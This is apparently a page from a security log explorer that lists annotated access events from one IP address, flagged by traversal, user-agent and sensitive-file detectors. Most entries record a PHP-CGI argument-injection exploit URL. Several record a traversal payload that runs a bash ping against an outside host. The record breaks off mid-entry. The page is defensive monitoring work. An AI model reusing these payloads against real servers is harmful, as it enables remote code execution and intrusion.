DigitalOcean Referral Badge
cloud1
cloud2
cloud3
cloud4
cloud5
cloud6
← Back to IP report

Log Explorer

Fact drill-down for 87.121.84.209
Risk 6 LOW Scope All time All-time facts 40 In-scope 40 Filtered 40 Seen 2025-04-10 → 2025-04-19
Reset (all-time)
Active (none) Clear
Faceted filters (facts-based) exact core + snapshot + optional start/end
Annotation facets
HTTP facets
Snapshot facets
Custom time window (optional override)
Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.
Tip: keep windows tight when you need speed, but the default is fact-complete.
Top annotators (facts, in-scope)
trav 15 base 12 ua 9 sfp 4
Top labels (facts, in-scope)
trav 15 observed 12 ua 9 sensitive_file 4
Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 1 — total 40 rows
#1 2025-04-19 10:29:01 event 6761344 GET 301 bytes 169
ann base label observed
Request event observed
/
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#2 2025-04-12 16:48:37 event 6380969 POST 301 bytes 169
ann base label observed
Request event observed
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#3 2025-04-12 16:48:37 event 6380969 POST 301 bytes 169
ann ua 8 label ua
Request Very short User-Agent string
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#4 2025-04-12 16:48:37 event 6380969 POST 301 bytes 169
ann trav 30 label trav
Request Path traversal / LFI indicator detected
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
trav
rule
trav:wrapper
conf
94.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#5 2025-04-12 16:48:04 event 6380913 POST 301 bytes 169
ann base label observed
Request event observed
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#6 2025-04-12 16:48:04 event 6380913 POST 301 bytes 169
ann ua 8 label ua
Request Very short User-Agent string
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#7 2025-04-12 16:48:04 event 6380913 POST 301 bytes 169
ann trav 30 label trav
Request Path traversal / LFI indicator detected
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
trav
rule
trav:wrapper
conf
94.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#8 2025-04-12 16:47:27 event 6380850 POST 301 bytes 169
ann base label observed
Request event observed
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#9 2025-04-12 16:47:27 event 6380850 POST 301 bytes 169
ann ua 8 label ua
Request Very short User-Agent string
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#10 2025-04-12 16:47:27 event 6380850 POST 301 bytes 169
ann trav 30 label trav
Request Path traversal / LFI indicator detected
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
trav
rule
trav:wrapper
conf
94.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#11 2025-04-12 06:36:06 event 6088178 POST 301 bytes 169
ann base label observed
Request event observed
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#12 2025-04-12 06:36:06 event 6088178 POST 301 bytes 169
ann ua 8 label ua
Request Very short User-Agent string
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#13 2025-04-12 06:36:06 event 6088178 POST 301 bytes 169
ann trav 30 label trav
Request Path traversal / LFI indicator detected
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
trav
rule
trav:wrapper
conf
94.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#14 2025-04-12 06:32:06 event 6087646 POST 301 bytes 169
ann base label observed
Request event observed
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#15 2025-04-12 06:32:06 event 6087646 POST 301 bytes 169
ann ua 8 label ua
Request Very short User-Agent string
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#16 2025-04-12 06:32:06 event 6087646 POST 301 bytes 169
ann trav 30 label trav
Request Path traversal / LFI indicator detected
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
trav
rule
trav:wrapper
conf
94.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#17 2025-04-12 05:49:36 event 6068713 POST 301 bytes 169
ann base label observed
Request event observed
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#18 2025-04-12 05:49:36 event 6068713 POST 301 bytes 169
ann ua 8 label ua
Request Very short User-Agent string
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#19 2025-04-12 05:49:36 event 6068713 POST 301 bytes 169
ann trav 30 label trav
Request Path traversal / LFI indicator detected
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
trav
rule
trav:wrapper
conf
94.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#20 2025-04-12 05:46:23 event 6068393 POST 301 bytes 169
ann base label observed
Request event observed
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#21 2025-04-12 05:46:23 event 6068393 POST 301 bytes 169
ann ua 8 label ua
Request Very short User-Agent string
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
ua
rule
ua:very_short
conf
65.00
details
Short/generic UAs are common in basic scripts and commodity automation.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Very short User-Agent string
details
Short/generic UAs are common in basic scripts and commodity automation.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#22 2025-04-12 05:46:23 event 6068393 POST 301 bytes 169
ann trav 30 label trav
Request Path traversal / LFI indicator detected
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
Annotation facts
label
trav
rule
trav:wrapper
conf
94.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D\x22\x22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
referer
-
UA
-
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#23 2025-04-11 01:51:37 event 5383481 GET 301 bytes 169
ann trav 26 label trav
Request Path traversal / LFI indicator detected
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Annotation facts
label
trav
rule
trav:mixed_separators
conf
90.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#24 2025-04-11 01:51:37 event 5383481 GET 301 bytes 169
ann trav 28 label trav
Request Path traversal / LFI indicator detected
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Annotation facts
label
trav
rule
trav:dotdot_slash
conf
92.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#25 2025-04-11 01:51:37 event 5383481 GET 301 bytes 169
ann base label observed
Request event observed
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#26 2025-04-11 01:51:37 event 5383481 GET 301 bytes 169
ann sfp 34 label sensitive_file
Request Directory traversal indicator
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Annotation facts
label
sensitive_file
rule
sfp:traversal
conf
86.00
details
Traversal sequences were present (raw or encoded). Snippet='/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.'
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
summary
Directory traversal indicator
details
Traversal sequences were present (raw or encoded). Snippet='/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#27 2025-04-11 01:51:17 event 5383463 GET 301 bytes 169
ann ua 8 label ua
Request Truncated Mozilla User-Agent token
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
ua
rule
ua:truncated_mozilla
conf
70.00
details
Common placeholder UA used by simplistic clients.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
Truncated Mozilla User-Agent token
details
Common placeholder UA used by simplistic clients.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#28 2025-04-11 01:51:17 event 5383463 GET 301 bytes 169
ann trav 26 label trav
Request Path traversal / LFI indicator detected
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
trav
rule
trav:mixed_separators
conf
90.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#29 2025-04-11 01:51:17 event 5383463 GET 301 bytes 169
ann trav 28 label trav
Request Path traversal / LFI indicator detected
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
trav
rule
trav:dotdot_slash
conf
92.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#30 2025-04-11 01:51:17 event 5383463 GET 301 bytes 169
ann base label observed
Request event observed
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#31 2025-04-11 01:51:17 event 5383463 GET 301 bytes 169
ann sfp 34 label sensitive_file
Request Directory traversal indicator
